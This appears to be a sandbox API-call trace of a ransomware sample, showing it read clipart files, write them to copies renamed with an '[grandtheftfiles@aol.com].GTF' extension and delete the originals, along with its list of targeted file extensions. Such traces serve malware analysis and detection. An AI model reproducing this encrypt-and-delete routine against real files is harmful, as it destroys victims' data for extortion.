	[0088.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220
	[0088.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.739] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.739] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0088.740] GetLastError () returned 0x0
	[0088.740] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x332, lpOverlapped=0x0) returned 1
	[0088.749] WriteFile (in: hFile=0x37c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x340, lpOverlapped=0x0) returned 1
	[0088.750] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.750] WriteFile (in: hFile=0x37c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.750] SetEndOfFile (hFile=0x37c) returned 1
	[0088.750] CloseHandle (hObject=0x37c) returned 1
	[0088.750] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.750] SetEndOfFile (hFile=0x39c) returned 1
	[0088.751] CloseHandle (hObject=0x39c) returned 1
	[0088.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1
	[0088.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0088.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0088.752] lstrlenW (lpString=".doc") returned 4
	[0088.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.752] lstrlenW (lpString=".docx") returned 5
	[0088.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.752] lstrlenW (lpString=".pdf") returned 4
	[0088.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.752] lstrlenW (lpString=".xls") returned 4
	[0088.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.752] lstrlenW (lpString=".xlsx") returned 5
	[0088.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.752] lstrlenW (lpString=".ppt") returned 4
	[0088.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0088.752] lstrlenW (lpString=".zip") returned 4
	[0088.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.752] lstrlenW (lpString=".rar") returned 4
	[0088.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.752] lstrlenW (lpString=".bz2") returned 4
	[0088.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.752] lstrlenW (lpString=".7z") returned 3
	[0088.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0088.752] lstrlenW (lpString=".dbf") returned 4
	[0088.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0088.752] lstrlenW (lpString=".1cd") returned 4
	[0088.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0088.752] lstrlenW (lpString=".jpg") returned 4
	[0088.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0088.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0088.753] lstrlenW (lpString=".doc") returned 4
	[0088.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.753] lstrlenW (lpString=".docx") returned 5
	[0088.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.753] lstrlenW (lpString=".pdf") returned 4
	[0088.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.753] lstrlenW (lpString=".xls") returned 4
	[0088.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.753] lstrlenW (lpString=".xlsx") returned 5
	[0088.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.753] lstrlenW (lpString=".ppt") returned 4
	[0088.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0088.753] lstrlenW (lpString=".zip") returned 4
	[0088.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.753] lstrlenW (lpString=".rar") returned 4
	[0088.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.753] lstrlenW (lpString=".bz2") returned 4
	[0088.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.753] lstrlenW (lpString=".7z") returned 3
	[0088.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0088.753] lstrlenW (lpString=".dbf") returned 4
	[0088.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0088.753] lstrlenW (lpString=".1cd") returned 4
	[0088.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0088.753] lstrlenW (lpString=".jpg") returned 4
	[0088.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.753] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.753] lstrlenW (lpString="HH00526_.WMF") returned 12
	[0088.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.760] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=13538) returned 1
	[0088.760] CloseHandle (hObject=0x378) returned 1
	[0088.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220
	[0088.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.760] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.760] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.763] GetLastError () returned 0x0
	[0088.763] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x34e2, lpOverlapped=0x0) returned 1
	[0088.766] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x34f0, lpOverlapped=0x0) returned 1
	[0088.767] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.767] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.767] SetEndOfFile (hFile=0x35c) returned 1
	[0088.767] CloseHandle (hObject=0x35c) returned 1
	[0088.767] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.767] SetEndOfFile (hFile=0x378) returned 1
	[0088.768] CloseHandle (hObject=0x378) returned 1
	[0088.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1
	[0088.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0088.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0088.769] lstrlenW (lpString=".doc") returned 4
	[0088.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.769] lstrlenW (lpString=".docx") returned 5
	[0088.769] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.769] lstrlenW (lpString=".pdf") returned 4
	[0088.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.769] lstrlenW (lpString=".xls") returned 4
	[0088.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.769] lstrlenW (lpString=".xlsx") returned 5
	[0088.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.769] lstrlenW (lpString=".ppt") returned 4
	[0088.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0088.769] lstrlenW (lpString=".zip") returned 4
	[0088.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.769] lstrlenW (lpString=".rar") returned 4
	[0088.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.769] lstrlenW (lpString=".bz2") returned 4
	[0088.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.769] lstrlenW (lpString=".7z") returned 3
	[0088.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0088.769] lstrlenW (lpString=".dbf") returned 4
	[0088.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0088.770] lstrlenW (lpString=".1cd") returned 4
	[0088.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0088.770] lstrlenW (lpString=".jpg") returned 4
	[0088.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0088.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0088.770] lstrlenW (lpString=".doc") returned 4
	[0088.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.770] lstrlenW (lpString=".docx") returned 5
	[0088.770] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.770] lstrlenW (lpString=".pdf") returned 4
	[0088.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.770] lstrlenW (lpString=".xls") returned 4
	[0088.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.770] lstrlenW (lpString=".xlsx") returned 5
	[0088.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.770] lstrlenW (lpString=".ppt") returned 4
	[0088.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0088.770] lstrlenW (lpString=".zip") returned 4
	[0088.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.770] lstrlenW (lpString=".rar") returned 4
	[0088.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.770] lstrlenW (lpString=".bz2") returned 4
	[0088.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.770] lstrlenW (lpString=".7z") returned 3
	[0088.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0088.770] lstrlenW (lpString=".dbf") returned 4
	[0088.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0088.770] lstrlenW (lpString=".1cd") returned 4
	[0088.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68
	[0088.771] lstrlenW (lpString=".jpg") returned 4
	[0088.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.771] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.771] lstrlenW (lpString="HH00546_.WMF") returned 12
	[0088.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.771] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3718) returned 1
	[0088.771] CloseHandle (hObject=0x378) returned 1
	[0088.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220
	[0088.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.771] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.771] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.772] GetLastError () returned 0x0
	[0088.772] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xe86, lpOverlapped=0x0) returned 1
	[0088.781] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe90, lpOverlapped=0x0) returned 1
	[0088.781] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.782] WriteFile (in: hFile=0x35c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.782] SetEndOfFile (hFile=0x35c) returned 1
	[0088.782] CloseHandle (hObject=0x35c) returned 1
	[0088.782] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.782] SetEndOfFile (hFile=0x378) returned 1
	[0088.783] CloseHandle (hObject=0x378) returned 1
	[0088.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1
	[0088.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0088.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0088.783] lstrlenW (lpString=".doc") returned 4
	[0088.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.783] lstrlenW (lpString=".docx") returned 5
	[0088.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.783] lstrlenW (lpString=".pdf") returned 4
	[0088.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.783] lstrlenW (lpString=".xls") returned 4
	[0088.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.784] lstrlenW (lpString=".xlsx") returned 5
	[0088.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.784] lstrlenW (lpString=".ppt") returned 4
	[0088.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0088.784] lstrlenW (lpString=".zip") returned 4
	[0088.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.784] lstrlenW (lpString=".rar") returned 4
	[0088.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.784] lstrlenW (lpString=".bz2") returned 4
	[0088.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.784] lstrlenW (lpString=".7z") returned 3
	[0088.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0088.784] lstrlenW (lpString=".dbf") returned 4
	[0088.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0088.784] lstrlenW (lpString=".1cd") returned 4
	[0088.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0088.784] lstrlenW (lpString=".jpg") returned 4
	[0088.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0088.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0088.784] lstrlenW (lpString=".doc") returned 4
	[0088.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.784] lstrlenW (lpString=".docx") returned 5
	[0088.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.784] lstrlenW (lpString=".pdf") returned 4
	[0088.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.784] lstrlenW (lpString=".xls") returned 4
	[0088.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.784] lstrlenW (lpString=".xlsx") returned 5
	[0088.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.784] lstrlenW (lpString=".ppt") returned 4
	[0088.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0088.785] lstrlenW (lpString=".zip") returned 4
	[0088.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.785] lstrlenW (lpString=".rar") returned 4
	[0088.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.785] lstrlenW (lpString=".bz2") returned 4
	[0088.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.785] lstrlenW (lpString=".7z") returned 3
	[0088.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0088.785] lstrlenW (lpString=".dbf") returned 4
	[0088.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0088.785] lstrlenW (lpString=".1cd") returned 4
	[0088.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68
	[0088.785] lstrlenW (lpString=".jpg") returned 4
	[0088.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.785] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.785] lstrlenW (lpString="HH00602_.WMF") returned 12
	[0088.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
